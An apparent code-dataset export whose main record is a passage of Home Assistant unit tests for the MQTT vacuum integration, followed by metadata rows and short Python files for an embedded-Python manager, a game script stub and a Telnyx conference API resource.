mqttvacuum.CONF_ERROR_TOPIC: "vacuum/state",
mqttvacuum.CONF_ERROR_TEMPLATE: "{{ value_json.error }}",
mqttvacuum.CONF_FAN_SPEED_TOPIC: "vacuum/state",
mqttvacuum.CONF_FAN_SPEED_TEMPLATE: "{{ value_json.fan_speed }}",
mqttvacuum.CONF_SET_FAN_SPEED_TOPIC: "vacuum/set_fan_speed",
mqttvacuum.CONF_FAN_SPEED_LIST: ["min", "medium", "high", "max"],
}
DEFAULT_CONFIG_2 = {vacuum.DOMAIN: {"platform": "mqtt", "name": "test"}}
async def test_default_supported_features(hass, mqtt_mock):
"""Test that the correct supported features."""
assert await async_setup_component(
hass, vacuum.DOMAIN, {vacuum.DOMAIN: DEFAULT_CONFIG}
)
await hass.async_block_till_done()
entity = hass.states.get("vacuum.mqtttest")
entity_features = entity.attributes.get(mqttvacuum.CONF_SUPPORTED_FEATURES, 0)
assert sorted(services_to_strings(entity_features, SERVICE_TO_STRING)) == sorted(
[
"turn_on",
"turn_off",
"stop",
"return_home",
"battery",
"status",
"clean_spot",
]
)
async def test_all_commands(hass, mqtt_mock):
"""Test simple commands to the vacuum."""
config = deepcopy(DEFAULT_CONFIG)
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
ALL_SERVICES, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
await common.async_turn_on(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_called_once_with(
"vacuum/command", "turn_on", 0, False
)
mqtt_mock.async_publish.reset_mock()
await common.async_turn_off(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_called_once_with(
"vacuum/command", "turn_off", 0, False
)
mqtt_mock.async_publish.reset_mock()
await common.async_stop(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_called_once_with("vacuum/command", "stop", 0, False)
mqtt_mock.async_publish.reset_mock()
await common.async_clean_spot(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_called_once_with(
"vacuum/command", "clean_spot", 0, False
)
mqtt_mock.async_publish.reset_mock()
await common.async_locate(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_called_once_with(
"vacuum/command", "locate", 0, False
)
mqtt_mock.async_publish.reset_mock()
await common.async_start_pause(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_called_once_with(
"vacuum/command", "start_pause", 0, False
)
mqtt_mock.async_publish.reset_mock()
await common.async_return_to_base(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_called_once_with(
"vacuum/command", "return_to_base", 0, False
)
mqtt_mock.async_publish.reset_mock()
await common.async_set_fan_speed(hass, "high", "vacuum.mqtttest")
mqtt_mock.async_publish.assert_called_once_with(
"vacuum/set_fan_speed", "high", 0, False
)
mqtt_mock.async_publish.reset_mock()
await common.async_send_command(hass, "44 FE 93", entity_id="vacuum.mqtttest")
mqtt_mock.async_publish.assert_called_once_with(
"vacuum/send_command", "44 FE 93", 0, False
)
mqtt_mock.async_publish.reset_mock()
await common.async_send_command(
hass, "44 FE 93", {"key": "value"}, entity_id="vacuum.mqtttest"
)
assert json.loads(mqtt_mock.async_publish.mock_calls[-1][1][1]) == {
"command": "44 FE 93",
"key": "value",
}
await common.async_send_command(
hass, "44 FE 93", {"key": "value"}, entity_id="vacuum.mqtttest"
)
assert json.loads(mqtt_mock.async_publish.mock_calls[-1][1][1]) == {
"command": "44 FE 93",
"key": "value",
}
async def test_commands_without_supported_features(hass, mqtt_mock):
"""Test commands which are not supported by the vacuum."""
config = deepcopy(DEFAULT_CONFIG)
services = mqttvacuum.STRING_TO_SERVICE["status"]
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
services, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
await common.async_turn_on(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_not_called()
mqtt_mock.async_publish.reset_mock()
await common.async_turn_off(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_not_called()
mqtt_mock.async_publish.reset_mock()
await common.async_stop(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_not_called()
mqtt_mock.async_publish.reset_mock()
await common.async_clean_spot(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_not_called()
mqtt_mock.async_publish.reset_mock()
await common.async_locate(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_not_called()
mqtt_mock.async_publish.reset_mock()
await common.async_start_pause(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_not_called()
mqtt_mock.async_publish.reset_mock()
await common.async_return_to_base(hass, "vacuum.mqtttest")
mqtt_mock.async_publish.assert_not_called()
mqtt_mock.async_publish.reset_mock()
await common.async_set_fan_speed(hass, "high", "vacuum.mqtttest")
mqtt_mock.async_publish.assert_not_called()
mqtt_mock.async_publish.reset_mock()
await common.async_send_command(hass, "44 FE 93", entity_id="vacuum.mqtttest")
mqtt_mock.async_publish.assert_not_called()
mqtt_mock.async_publish.reset_mock()
async def test_attributes_without_supported_features(hass, mqtt_mock):
"""Test attributes which are not supported by the vacuum."""
config = deepcopy(DEFAULT_CONFIG)
services = mqttvacuum.STRING_TO_SERVICE["turn_on"]
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
services, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
message = """{
"battery_level": 54,
"cleaning": true,
"docked": false,
"charging": false,
"fan_speed": "max"
}"""
async_fire_mqtt_message(hass, "vacuum/state", message)
state = hass.states.get("vacuum.mqtttest")
assert state.state == STATE_ON
assert state.attributes.get(ATTR_BATTERY_LEVEL) is None
assert state.attributes.get(ATTR_BATTERY_ICON) is None
assert state.attributes.get(ATTR_FAN_SPEED) is None
assert state.attributes.get(ATTR_FAN_SPEED_LIST) is None
async def test_status(hass, mqtt_mock):
"""Test status updates from the vacuum."""
config = deepcopy(DEFAULT_CONFIG)
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
ALL_SERVICES, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
message = """{
"battery_level": 54,
"cleaning": true,
"docked": false,
"charging": false,
"fan_speed": "max"
}"""
async_fire_mqtt_message(hass, "vacuum/state", message)
state = hass.states.get("vacuum.mqtttest")
assert state.state == STATE_ON
assert state.attributes.get(ATTR_BATTERY_ICON) == "mdi:battery-50"
assert state.attributes.get(ATTR_BATTERY_LEVEL) == 54
assert state.attributes.get(ATTR_FAN_SPEED) == "max"
message = """{
"battery_level": 61,
"docked": true,
"cleaning": false,
"charging": true,
"fan_speed": "min"
}"""
async_fire_mqtt_message(hass, "vacuum/state", message)
state = hass.states.get("vacuum.mqtttest")
assert state.state == STATE_OFF
assert state.attributes.get(ATTR_BATTERY_ICON) == "mdi:battery-charging-60"
assert state.attributes.get(ATTR_BATTERY_LEVEL) == 61
assert state.attributes.get(ATTR_FAN_SPEED) == "min"
async def test_status_battery(hass, mqtt_mock):
"""Test status updates from the vacuum."""
config = deepcopy(DEFAULT_CONFIG)
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
ALL_SERVICES, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
message = """{
"battery_level": 54
}"""
async_fire_mqtt_message(hass, "vacuum/state", message)
state = hass.states.get("vacuum.mqtttest")
assert state.attributes.get(ATTR_BATTERY_ICON) == "mdi:battery-50"
async def test_status_cleaning(hass, mqtt_mock):
"""Test status updates from the vacuum."""
config = deepcopy(DEFAULT_CONFIG)
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
ALL_SERVICES, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
message = """{
"cleaning": true
}"""
async_fire_mqtt_message(hass, "vacuum/state", message)
state = hass.states.get("vacuum.mqtttest")
assert state.state == STATE_ON
async def test_status_docked(hass, mqtt_mock):
"""Test status updates from the vacuum."""
config = deepcopy(DEFAULT_CONFIG)
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
ALL_SERVICES, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
message = """{
"docked": true
}"""
async_fire_mqtt_message(hass, "vacuum/state", message)
state = hass.states.get("vacuum.mqtttest")
assert state.state == STATE_OFF
async def test_status_charging(hass, mqtt_mock):
"""Test status updates from the vacuum."""
config = deepcopy(DEFAULT_CONFIG)
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
ALL_SERVICES, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
message = """{
"charging": true
}"""
async_fire_mqtt_message(hass, "vacuum/state", message)
state = hass.states.get("vacuum.mqtttest")
assert state.attributes.get(ATTR_BATTERY_ICON) == "mdi:battery-outline"
async def test_status_fan_speed(hass, mqtt_mock):
"""Test status updates from the vacuum."""
config = deepcopy(DEFAULT_CONFIG)
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
ALL_SERVICES, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
message = """{
"fan_speed": "max"
}"""
async_fire_mqtt_message(hass, "vacuum/state", message)
state = hass.states.get("vacuum.mqtttest")
assert state.attributes.get(ATTR_FAN_SPEED) == "max"
async def test_status_fan_speed_list(hass, mqtt_mock):
"""Test status updates from the vacuum."""
config = deepcopy(DEFAULT_CONFIG)
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
ALL_SERVICES, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
state = hass.states.get("vacuum.mqtttest")
assert state.attributes.get(ATTR_FAN_SPEED_LIST) == ["min", "medium", "high", "max"]
async def test_status_no_fan_speed_list(hass, mqtt_mock):
"""Test status updates from the vacuum.
If the vacuum doesn't support fan speed, fan speed list should be None.
"""
config = deepcopy(DEFAULT_CONFIG)
services = ALL_SERVICES - mqttvacuum.SUPPORT_FAN_SPEED
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
services, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
state = hass.states.get("vacuum.mqtttest")
assert state.attributes.get(ATTR_FAN_SPEED_LIST) is None
async def test_status_error(hass, mqtt_mock):
"""Test status updates from the vacuum."""
config = deepcopy(DEFAULT_CONFIG)
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
ALL_SERVICES, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
message = """{
"error": "Error1"
}"""
async_fire_mqtt_message(hass, "vacuum/state", message)
state = hass.states.get("vacuum.mqtttest")
assert state.attributes.get(ATTR_STATUS) == "Error: Error1"
message = """{
"error": ""
}"""
async_fire_mqtt_message(hass, "vacuum/state", message)
state = hass.states.get("vacuum.mqtttest")
assert state.attributes.get(ATTR_STATUS) == "Stopped"
async def test_battery_template(hass, mqtt_mock):
"""Test that you can use non-default templates for battery_level."""
config = deepcopy(DEFAULT_CONFIG)
config.update(
{
mqttvacuum.CONF_SUPPORTED_FEATURES: services_to_strings(
ALL_SERVICES, SERVICE_TO_STRING
),
mqttvacuum.CONF_BATTERY_LEVEL_TOPIC: "retroroomba/battery_level",
mqttvacuum.CONF_BATTERY_LEVEL_TEMPLATE: "{{ value }}",
}
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
async_fire_mqtt_message(hass, "retroroomba/battery_level", "54")
state = hass.states.get("vacuum.mqtttest")
assert state.attributes.get(ATTR_BATTERY_LEVEL) == 54
assert state.attributes.get(ATTR_BATTERY_ICON) == "mdi:battery-50"
async def test_status_invalid_json(hass, mqtt_mock):
"""Test to make sure nothing breaks if the vacuum sends bad JSON."""
config = deepcopy(DEFAULT_CONFIG)
config[mqttvacuum.CONF_SUPPORTED_FEATURES] = services_to_strings(
ALL_SERVICES, SERVICE_TO_STRING
)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
async_fire_mqtt_message(hass, "vacuum/state", '{"asdfasas false}')
state = hass.states.get("vacuum.mqtttest")
assert state.state == STATE_OFF
assert state.attributes.get(ATTR_STATUS) == "Stopped"
async def test_missing_battery_template(hass, mqtt_mock):
"""Test to make sure missing template is not allowed."""
config = deepcopy(DEFAULT_CONFIG)
config.pop(mqttvacuum.CONF_BATTERY_LEVEL_TEMPLATE)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
state = hass.states.get("vacuum.mqtttest")
assert state is None
async def test_missing_charging_template(hass, mqtt_mock):
"""Test to make sure missing template is not allowed."""
config = deepcopy(DEFAULT_CONFIG)
config.pop(mqttvacuum.CONF_CHARGING_TEMPLATE)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
state = hass.states.get("vacuum.mqtttest")
assert state is None
async def test_missing_cleaning_template(hass, mqtt_mock):
"""Test to make sure missing template is not allowed."""
config = deepcopy(DEFAULT_CONFIG)
config.pop(mqttvacuum.CONF_CLEANING_TEMPLATE)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
state = hass.states.get("vacuum.mqtttest")
assert state is None
async def test_missing_docked_template(hass, mqtt_mock):
"""Test to make sure missing template is not allowed."""
config = deepcopy(DEFAULT_CONFIG)
config.pop(mqttvacuum.CONF_DOCKED_TEMPLATE)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
state = hass.states.get("vacuum.mqtttest")
assert state is None
async def test_missing_error_template(hass, mqtt_mock):
"""Test to make sure missing template is not allowed."""
config = deepcopy(DEFAULT_CONFIG)
config.pop(mqttvacuum.CONF_ERROR_TEMPLATE)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
state = hass.states.get("vacuum.mqtttest")
assert state is None
async def test_missing_fan_speed_template(hass, mqtt_mock):
"""Test to make sure missing template is not allowed."""
config = deepcopy(DEFAULT_CONFIG)
config.pop(mqttvacuum.CONF_FAN_SPEED_TEMPLATE)
assert await async_setup_component(hass, vacuum.DOMAIN, {vacuum.DOMAIN: config})
await hass.async_block_till_done()
state = hass.states.get("vacuum.mqtttest")
assert state is None
async def test_availability_when_connection_lost(hass, mqtt_mock):
"""Test availability after MQTT disconnection."""
await help_test_availability_when_connection_lost(
hass, mqtt_mock, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_availability_without_topic(hass, mqtt_mock):
"""Test availability without defined availability topic."""
await help_test_availability_without_topic(
hass, mqtt_mock, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_default_availability_payload(hass, mqtt_mock):
"""Test availability by default payload with defined topic."""
await help_test_default_availability_payload(
hass, mqtt_mock, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_custom_availability_payload(hass, mqtt_mock):
"""Test availability by custom payload with defined topic."""
await help_test_custom_availability_payload(
hass, mqtt_mock, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_setting_attribute_via_mqtt_json_message(hass, mqtt_mock):
"""Test the setting of attribute via MQTT with JSON payload."""
await help_test_setting_attribute_via_mqtt_json_message(
hass, mqtt_mock, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_setting_blocked_attribute_via_mqtt_json_message(hass, mqtt_mock):
"""Test the setting of attribute via MQTT with JSON payload."""
await help_test_setting_blocked_attribute_via_mqtt_json_message(
hass,
mqtt_mock,
vacuum.DOMAIN,
DEFAULT_CONFIG_2,
MQTT_LEGACY_VACUUM_ATTRIBUTES_BLOCKED,
)
async def test_setting_attribute_with_template(hass, mqtt_mock):
"""Test the setting of attribute via MQTT with JSON payload."""
await help_test_setting_attribute_with_template(
hass, mqtt_mock, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_update_with_json_attrs_not_dict(hass, mqtt_mock, caplog):
"""Test attributes get extracted from a JSON result."""
await help_test_update_with_json_attrs_not_dict(
hass, mqtt_mock, caplog, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_update_with_json_attrs_bad_JSON(hass, mqtt_mock, caplog):
"""Test attributes get extracted from a JSON result."""
await help_test_update_with_json_attrs_bad_JSON(
hass, mqtt_mock, caplog, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_discovery_update_attr(hass, mqtt_mock, caplog):
"""Test update of discovered MQTTAttributes."""
await help_test_discovery_update_attr(
hass, mqtt_mock, caplog, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_unique_id(hass, mqtt_mock):
"""Test unique id option only creates one vacuum per unique_id."""
config = {
vacuum.DOMAIN: [
{
"platform": "mqtt",
"name": "Test 1",
"command_topic": "test_topic",
"unique_id": "TOTALLY_UNIQUE",
},
{
"platform": "mqtt",
"name": "Test 2",
"command_topic": "test_topic",
"unique_id": "TOTALLY_UNIQUE",
},
]
}
await help_test_unique_id(hass, mqtt_mock, vacuum.DOMAIN, config)
async def test_discovery_removal_vacuum(hass, mqtt_mock, caplog):
"""Test removal of discovered vacuum."""
data = json.dumps(DEFAULT_CONFIG_2[vacuum.DOMAIN])
await help_test_discovery_removal(hass, mqtt_mock, caplog, vacuum.DOMAIN, data)
async def test_discovery_update_vacuum(hass, mqtt_mock, caplog):
"""Test update of discovered vacuum."""
config1 = {"name": "Beer", " " "command_topic": "test_topic"}
config2 = {"name": "Milk", " " "command_topic": "test_topic"}
await help_test_discovery_update(
hass, mqtt_mock, caplog, vacuum.DOMAIN, config1, config2
)
async def test_discovery_update_unchanged_vacuum(hass, mqtt_mock, caplog):
"""Test update of discovered vacuum."""
data1 = '{ "name": "Beer", "command_topic": "test_topic" }'
with patch(
"homeassistant.components.mqtt.vacuum.schema_legacy.MqttVacuum.discovery_update"
) as discovery_update:
await help_test_discovery_update_unchanged(
hass, mqtt_mock, caplog, vacuum.DOMAIN, data1, discovery_update
)
@pytest.mark.no_fail_on_log_exception
async def test_discovery_broken(hass, mqtt_mock, caplog):
"""Test handling of bad discovery message."""
data1 = '{ "name": "Beer",' ' "command_topic": "test_topic#" }'
data2 = '{ "name": "Milk",' ' "command_topic": "test_topic" }'
await help_test_discovery_broken(
hass, mqtt_mock, caplog, vacuum.DOMAIN, data1, data2
)
async def test_entity_device_info_with_connection(hass, mqtt_mock):
"""Test MQTT vacuum device registry integration."""
await help_test_entity_device_info_with_connection(
hass, mqtt_mock, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_entity_device_info_with_identifier(hass, mqtt_mock):
"""Test MQTT vacuum device registry integration."""
await help_test_entity_device_info_with_identifier(
hass, mqtt_mock, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_entity_device_info_update(hass, mqtt_mock):
"""Test device registry update."""
await help_test_entity_device_info_update(
hass, mqtt_mock, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_entity_device_info_remove(hass, mqtt_mock):
"""Test device registry remove."""
await help_test_entity_device_info_remove(
hass, mqtt_mock, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_entity_id_update_subscriptions(hass, mqtt_mock):
"""Test MQTT subscriptions are managed when entity_id is updated."""
config = {
vacuum.DOMAIN: {
"platform": "mqtt",
"name": "test",
"battery_level_topic": "test-topic",
"battery_level_template": "{{ value_json.battery_level }}",
"command_topic": "command-topic",
"availability_topic": "avty-topic",
}
}
await help_test_entity_id_update_subscriptions(
hass, mqtt_mock, vacuum.DOMAIN, config, ["test-topic", "avty-topic"]
)
async def test_entity_id_update_discovery_update(hass, mqtt_mock):
"""Test MQTT discovery update when entity_id is updated."""
await help_test_entity_id_update_discovery_update(
hass, mqtt_mock, vacuum.DOMAIN, DEFAULT_CONFIG_2
)
async def test_entity_debug_info_message(hass, mqtt_mock):
"""Test MQTT debug info."""
config = {
vacuum.DOMAIN: {
"platform": "mqtt",
"name": "test",
"battery_level_topic": "test-topic",
"battery_level_template": "{{ value_json.battery_level }}",
"command_topic": "command-topic",
"availability_topic": "avty-topic",
}
}
await help_test_entity_debug_info_message(
hass, mqtt_mock, vacuum.DOMAIN, config, "test-topic"
)
@pytest.mark.parametrize(
"service,topic,parameters,payload,template",
[
(
vacuum.SERVICE_TURN_ON,
"command_topic",
None,
"turn_on",
None,
),
(
vacuum.SERVICE_CLEAN_SPOT,
"command_topic",
None,
"clean_spot",
None,
),
(
vacuum.SERVICE_SET_FAN_SPEED,
"set_fan_speed_topic",
{"fan_speed": "medium"},
"medium",
None,
),
(
vacuum.SERVICE_SEND_COMMAND,
"send_command_topic",
{"command": "custom command"},
"custom command",
None,
),
(
vacuum.SERVICE_TURN_OFF,
"command_topic",
None,
"turn_off",
None,
),
],
)
async def test_publishing_with_custom_encoding(
hass,
mqtt_mock,
caplog,
service,
topic,
parameters,
payload,
template,
):
"""Test publishing MQTT payload with different encoding."""
domain = vacuum.DOMAIN
config = deepcopy(DEFAULT_CONFIG)
config["supported_features"] = [
"turn_on",
"turn_off",
"clean_spot",
"fan_speed",
"send_command",
]
await help_test_publishing_with_custom_encoding(
hass,
mqtt_mock,
caplog,
domain,
config,
service,
topic,
parameters,
payload,
template,
)
async def test_reloadable(hass, mqtt_mock, caplog, tmp_path):
"""Test reloading the MQTT platform."""
domain = vacuum.DOMAIN
config = DEFAULT_CONFIG
await help_test_reloadable(hass, mqtt_mock, caplog, tmp_path, domain, config)
| 34.018007 | 88 | 0.704979 | 3,550 | 28,337 | 5.287324 | 0.06169 | 0.045605 | 0.044113 | 0.04049 | 0.830474 | 0.7748 | 0.73122 | 0.684177 | 0.639212 | 0.620139 | 0 | 0.00433 | 0.19321 | 28,337 | 832 | 89 | 34.058894 | 0.816683 | 0.001623 | 0 | 0.5136 | 0 | 0 | 0.128824 | 0.011883 | 0 | 0 | 0 | 0 | 0.1184 | 1 | 0 | false | 0 | 0.024 | 0 | 0.024 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
8a23a76f6a213974f6329f5a729c907bdc65674f | 142 | py | Python | embed_python_manager/__init__.py | likianta/embed-python-manager | bef0351bc059a6e9e007d69dbbeea93cb494465e | [
"MIT"
] | null | null | null | embed_python_manager/__init__.py | likianta/embed-python-manager | bef0351bc059a6e9e007d69dbbeea93cb494465e | [
"MIT"
] | null | null | null | embed_python_manager/__init__.py | likianta/embed-python-manager | bef0351bc059a6e9e007d69dbbeea93cb494465e | [
"MIT"
] | null | null | null | from .downloader import EmbedPythonDownloader
from .manager import EmbedPythonManager
from .pyversion import PyVersion
__version__ = '0.2.7'
| 23.666667 | 45 | 0.830986 | 16 | 142 | 7.125 | 0.6875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02381 | 0.112676 | 142 | 5 | 46 | 28.4 | 0.880952 | 0 | 0 | 0 | 0 | 0 | 0.035211 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.75 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
8a3557ff010adbde6932abd54125bb9065c2250c | 71 | py | Python | scripts/field/summon_cygnusTuto2.py | G00dBye/YYMS | 1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb | [
"MIT"
] | 54 | 2019-04-16T23:24:48.000Z | 2021-12-18T11:41:50.000Z | scripts/field/summon_cygnusTuto2.py | G00dBye/YYMS | 1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb | [
"MIT"
] | 3 | 2019-05-19T15:19:41.000Z | 2020-04-27T16:29:16.000Z | scripts/field/summon_cygnusTuto2.py | G00dBye/YYMS | 1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb | [
"MIT"
] | 49 | 2020-11-25T23:29:16.000Z | 2022-03-26T16:20:24.000Z | # Created by MechAviv
# ID :: [130030105]
# Empress Road : Drill Hall
| 14.2 | 27 | 0.676056 | 9 | 71 | 5.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.160714 | 0.211268 | 71 | 4 | 28 | 17.75 | 0.696429 | 0.887324 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
8a4095f7eb70cb00d03fb809f652bdac82666907 | 1,103 | py | Python | telnyx-python/telnyx/aio/api_resources/conference.py | team-telnyx/telnyx-2fa | 6b8acb6703dc9458176c97d7fa6d1fd9c303bfbd | [
"MIT"
] | null | null | null | telnyx-python/telnyx/aio/api_resources/conference.py | team-telnyx/telnyx-2fa | 6b8acb6703dc9458176c97d7fa6d1fd9c303bfbd | [
"MIT"
] | 3 | 2020-03-24T18:09:34.000Z | 2021-02-02T22:37:30.000Z | telnyx-python/telnyx/aio/api_resources/conference.py | mgwilliams/telnyx-2fa | 49b794c05f42bc6d1c27f722e0d09da6654ad8d2 | [
"MIT"
] | 1 | 2020-01-24T17:39:37.000Z | 2020-01-24T17:39:37.000Z | from telnyx.aio.api_resources.abstract import (
CreateableAPIResource,
ListableAPIResource,
nested_resource_class_methods,
)
@nested_resource_class_methods("join", path="actions/join", operations=["create"])
@nested_resource_class_methods("mute", path="actions/mute", operations=["create"])
@nested_resource_class_methods("unmute", path="actions/unmute", operations=["create"])
@nested_resource_class_methods("hold", path="actions/hold", operations=["create"])
@nested_resource_class_methods("unhold", path="actions/unhold", operations=["create"])
class Conference(CreateableAPIResource, ListableAPIResource):
OBJECT_NAME = "conference"
def join(self, **params):
return Conference.create_join(self.id, **params)
def mute(self, **params):
return Conference.create_mute(self.id, **params)
def unmute(self, **params):
return Conference.create_unmute(self.id, **params)
def hold(self, **params):
return Conference.create_hold(self.id, **params)
def unhold(self, **params):
return Conference.create_unhold(self.id, **params)
| 36.766667 | 86 | 0.726201 | 125 | 1,103 | 6.208 | 0.24 | 0.108247 | 0.146907 | 0.201031 | 0.42268 | 0.216495 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12874 | 1,103 | 29 | 87 | 38.034483 | 0.807492 | 0 | 0 | 0 | 0 | 0 | 0.116047 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.227273 | false | 0 | 0.045455 | 0.227273 | 0.590909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.